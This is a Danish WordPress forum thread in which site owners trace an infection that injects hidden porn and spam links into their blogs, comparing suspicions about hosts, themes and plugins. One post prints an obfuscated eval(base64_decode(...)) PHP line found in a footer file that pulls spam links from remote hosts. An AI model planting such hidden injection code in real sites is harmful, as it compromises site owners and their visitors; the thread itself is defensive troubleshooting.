WordPress hacked « WordPress DK Forum

WordPress DK Forum » Problemer efter installering

WordPress hacked

(31 indlæg) (9 voices)

Startet for 12 years siden af Mark Thomas Gazel
Seneste svar fra Mark Thomas Gazel
This topic is not a support question

Tags:

Ingen tags endnu.

Næste »

Mark Thomas Gazel

Senioradministrator
Joined: maj '06
Posts:
Reputation:

Ja, det er de triste kendsgerninger. Se selv i bunden:

http://mark.gazel.dk/

Jeg kan ikke få de pornolinks væk.

Jeg har kørt exploit scanner uden at blive klogere. Kikket i temafiler og skiftet til standardtema, som det ses. Jeg har prøvet at deaktivere alle plugins. Koden er så snu at den gør sig usynlig, så troede det var væk, men da jeg kikkede på kilden var det der stadig.

Jeg har svært ved at tro andet end, at det ligger i databasen.

Eller WordPress kernen, hvorfor jeg prøver at overskrive filerne, selvom jeg kører 2.6.2.

Alle forslag modtages med kyshånd.

Mark Thomas Gazel
"Jeg er ikke ung nok til at være erfaren" - Oscar Wilde
http://mark.gazel.dk

Skrevet 12 years siden #
JanusA

Supermedlem
Joined: maj '07
Posts:
Reputation:

Jeg kan ingen links se. Er det mig, der er blind, eller har du fået det fikset? Eller kan det måske være din browser, der serverer dig linksene?

Skrevet 12 years siden #
peterhenrichsen

Supermedlem
Joined: apr '07
Posts:
Reputation:

Jesus, ja!

Jeg er ikke lige et orakel, men jeg vil da lige surfe rundt og se om jeg kan finde noget overhovedet der kan hjælpe.

Det vil vi jo gerne undgå alle sammen - mareridtet, rent faktisk!

Ligger de der pornolinks "kun" når man skriver "vis kilde", eller kan de også ses direkte på din WP-side? Synes ikke lige jeg kan få øje på dem?

Mvh Peter

Skrevet 12 years siden #
Mark Thomas Gazel

Senioradministrator
Joined: maj '06
Posts:
Reputation:

De kunne ses direkte, men nu har den lavet noget visibility hidden.

Skrevet 12 years siden #
Ulf

Supermedlem
Joined: maj '07
Posts:
Reputation:

De er synlige en gang i mellem, men ellers er de skjult via et javascript-kunstgreb og kan kun ses nederst i kildekoden (efter det afsluttende HTML-tag).
Jeg tror stadig på "slet alle filer og erstat med nye"-løsningen.

tegneseriesiden.dk - hvis du elsker tegneserier...

Skrevet 12 years siden #
JanusA

Supermedlem
Joined: maj '07
Posts:
Reputation:

Åhja, nu ser jeg dem. Jeg er med Ulf - atombomber fra kredsløb :)

Skrevet 12 years siden #
Mark Thomas Gazel

Senioradministrator
Joined: maj '06
Posts:
Reputation:

Det har jeg lige gjort. Overskrevet kernekoden.

Skrevet 12 years siden #
JanusA

Supermedlem
Joined: maj '07
Posts:
Reputation:

Det lod til at virke. Rart at se. Det er som nævnt ovenfor det mareridt, vi alle gerne vil undgå.

Skrevet 12 years siden #
Mark Thomas Gazel

Senioradministrator
Joined: maj '06
Posts:
Reputation:

Der var lidt koderest, som havde gemt sig i temaet. Jeg tror, det er helt væk nu.

Skrevet 12 years siden #
peterhenrichsen

Supermedlem
Joined: apr '07
Posts:
Reputation:

Undskyld, den kunne jeg godt tænke mig skåret ud i pap.

Er der noget der er kommet ind i DB'en via. kommentarfunktionen, og hvad er det præcis for nogle koder du har overskrevet - kun temaets eller hele WP's?

Og vil det sige at du har løst problemet? Og i så fald, hvordan går man så videre med sådan et problem til kode-teamet?

Jeg synes det gik lidt hurtigt her til sidst.

mvh Peter

Skrevet 12 years siden #
Thomas-DK

Supermedlem
Joined: sep '07
Posts:
Reputation:

Så WordPress var ikke hacked?
Er det korrekt forstået?
Det var i dine themes filer ?

Skrevet 12 years siden #
peterhenrichsen

Supermedlem
Joined: apr '07
Posts:
Reputation:

Jeg er selvfølgelig også nervøs for at vi andre står med den samme i morgen.

Skrevet 12 years siden #
Ulf

Supermedlem
Joined: maj '07
Posts:
Reputation:

Der var lidt koderest, som havde gemt sig i temaet. Jeg tror, det er helt væk nu.

Men i begge temaer - både det du bruger og default? Hmmmm ... jeg stemmer stadig for at nogen på en eller anden måde har kunnet fifle med nogle core-filer, evt. via noget root-access til din server.

Skrevet 12 years siden #
Stendse

Medlem
Joined: aug '08
Posts:
Reputation:

Mark....du må holde lidt igen med alt det porno!

Skrevet 12 years siden #
Mark Thomas Gazel

Senioradministrator
Joined: maj '06
Posts:
Reputation:

Det var ikke kun i temafilerne. Hvis jeg slettede koden derfra, så kom det igen. Det gjorde det så ikke, da jeg havde geninstalleret WP.

Men hvad der genererede koden ved jeg ikke. Det kan være noget root-access. Det kan også være denne stump slimstat-kode i footeren, der åbnede for noget:

@include_once( $_SERVER["DOCUMENT_ROOT"]."/slimstat/inc.stats.php" );

Jeg har fjernet den linje i footeren, men balladen kan ses her. Lidt endnu.

http://mark.gazel.dk/slimstat/index.php

Der er noget snavs i bunden der.

Hvordan det er kommet ind i første omgang har jeg ingen idé om.

Skrevet 12 years siden #
niemi

Juniormedlem
Joined: okt '08
Posts:
Reputation:

Må man spørge hvor du har dit webhotel? Jeg oplevede det samme hos servage.net (det var jeg vist ikke den eneste der gjorde).

Jeg fik løst problemet på samme måde som dig, men efter få dage vendte problemet tilbage. Det eneste der hjalp permanent var udskiftningen af min host, servage.

Skrevet 12 years siden #
Thomas-DK

Supermedlem
Joined: sep '07
Posts:
Reputation:

Har yahoo-map.xml noget med det, at gøre.
Eller er det bare noget "hacket" bruger for at "snyde".

Skrevet 12 years siden #
Mark Thomas Gazel

Senioradministrator
Joined: maj '06
Posts:
Reputation:

Det er hos servage, det er hosted.

Jeg bruger ikke yahoo-map.xml. Aner ikke hvad det.

Skrevet 12 years siden #
Anders Saugstrup

Supermedlem
Joined: feb '08
Posts:
Reputation:

Nu kommer jeg lidt sent ind i tråden, men alligevel et par bud:

Det kan være noget plugin-værk som er angrebet og som fx bruger en hook i en temafil (fx ?php wp_footer(); ? fra footer-filen kunne det være), så sørg for at alle plugins lige bliver slettet og installeret på ny i nyeste version.

Det kan også, som du har fundet, være selve wordpress-installationen som giver problemer.

Generelle råd til alle: Brug fx Xenu til at tjekke hvilke udgående links der er fra bloggen, så du opdager den slags gennem rutinetjek.

Brug også tippet fra min artikel hér om at sætte en række google alerts op til at holde øje med dit site i forhold til slemme ord.

Og se denne dagsfriske historie om en emnet fra Dean Hunt.

Min hjemmeside om Wordpress og Søgemaskineoptimering: http://www.saugstrup.org

Skrevet 12 years siden #
peterhenrichsen

Supermedlem
Joined: apr '07
Posts:
Reputation:

Tak for svar, Mark, Thomas og Anders, det bliver læst med stor interesse fra min side.

Mvh Peter

Skrevet 12 years siden #
Mark Thomas Gazel

Senioradministrator
Joined: maj '06
Posts:
Reputation:

Også herfra. Rigtig gode tips Anders.

wp_footer kan jeg i hvert fald leve uden.

Skrevet 12 years siden #
niemi

Juniormedlem
Joined: okt '08
Posts:
Reputation:

Det er hos servage, det er hosted.

Der er problemet. Løsningen? Skift host. Hvis du ikke tror mig så spørg Google.

Skrevet 12 years siden #
Mark Thomas Gazel

Senioradministrator
Joined: maj '06
Posts:
Reputation:

Det er ikke utænkeligt, jeg gør det.

Peter anbefaler one.com. Jeg vil i hvert fald have en host, hvor pluginopdatering i WordPress virker. Det har jeg kun oplevet hos Wannafind.dk.

Skrevet 12 years siden #
Ulf

Supermedlem
Joined: maj '07
Posts:
Reputation:

Pluginopdatering virker også på min Gigahost-konto.

Skrevet 12 years siden #
niemi

Juniormedlem
Joined: okt '08
Posts:
Reputation:

Det er ikke utænkeligt, jeg gør det.

Du vil ikke fortryde at vende den kolde skulder til Servage. Det er ikke tilfældigt at jeg har haft nøjagtigt samme problem som dig, kæmpede med det i lang tid og måtte se mig nødsaget til at skifte host hvilket resulterede i at problemet blev løst. Farvel til viagra og billig sex.

Servage har ikke styr på sikkerheden på deres overbookede clusters.

Jeg skiftede til dreamhost og selvom det primært kan anbefales hvis du og i særlig grad dine besøgende er fra USA, så er jeg stadig godt tilfreds med dem efter jeg er vendt hjem til DK.

Skrevet 12 years siden #
fiskeben

Seniormedlem
Joined: maj '07
Posts:
Reputation:

Jeg har lige fundet dette i min footer.php:
eval(base64_decode('ZnVuY3Rpb24gR2V0Q29udGVudCgpDQp7DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokbWlycm9ycz1hcnJheSgiaHR0cDovL3JhbW9uYXR1Y2tlcjg3LmZyZWVob3N0aWEuY29tL2xpbmtzL2xpbmtzLmh0bWwiLCAiaHR0cDovL2Jsb2d3cC5pbmZvL2xpbmtzL2xpbmtzLmh0bWwiKTsNCmZvcmVhY2goJG1pcnJvcnMgYXMgJGsgPT4gJHYpDQogICAgew0KICAgIGlmKCRjb250ZW50PWZpbGVfZ2V0X2NvbnRlbnRzKCR2KSkgYnJlYWs7DQogICAgfQ0KaWYgKCRjb250ZW50PT0iIil7cmV0dXJuICI8IS0tIGxpbmtzIG5vdCBmb3VuZCBibHlhISAtLT4iO30NCnJldHVybiAkY29udGVudDsNCn0NCmVjaG8gR2V0Q29udGVudCgpOwo='));

Det giver en god del (usynlige) links i bunden af min side.

What. The. Fuck!?

Mit tema er 100% hjemmelavet, så jeg gad godt vide, hvordan det er kommet derind.

-- fiskeben
Besøg min blog om open source, web, Mac og meget mere

Skrevet 12 years siden #
fiskeben

Seniormedlem
Joined: maj '07
Posts:
Reputation:

Opdatering: footer.php var sidst redigeret 20. august 2008, hvilket er samme dag som Den Store Gigahost Idioti. Jeg er sikker på, at det kom derfra, og alle andre som blev udsat dengang bør tjekke sine filer.

Skrevet 12 years siden #
Ulf

Supermedlem
Joined: maj '07
Posts:
Reputation:

Faldt lige over dette plugin - måske det kunne bruges forebyggende?
http://wordpress.org/extend/plugins/paranoid911/

Skrevet 12 years siden #
Anders Saugstrup

Supermedlem
Joined: feb '08
Posts:
Reputation:

Ser spændende ud!

Skrevet 12 years siden #
Mark Thomas Gazel

Senioradministrator
Joined: maj '06
Posts:
Reputation:

Jeg har installeret det og inden jeg fik sat det igang opdagede jeg, at jeg var blevet hacket igen.

Jeg har ellers slettet og fjernet både overflødige filer og databasetabeller, samt ændret adgangskode til ftp. *HRMPF*.

Plugin'et virker ellers fint. Har fået disse tre beskeder pr. mail indtil videre:

Updated: File: /index.php
Updated: File: /wp-content/index.php

Det er fordi snavset bliver lagt i index.php-filer.

Updated: Table: wpmg_options; Row with primary key = active_plugins
Updated: Table: wpmg_options; Row with primary key = ftp_credentials
Updated: Table: wpmg_options; Row with primary key = recently_activated

Det her er mere tricky. Jeg håber det er fordi jeg har rodet med plugins. Bl.a. prøvet automatisk plugin-opdatering, der ikke virker hos servage.

Jeg vender til bage, når jeg har opdateret alt og fjernet snavset og skiftet ftp-adgangskode.

Skrevet 12 years siden #

RSS feed for this topic

Næste »

Svar »

Du skal være logget ind for at skrive.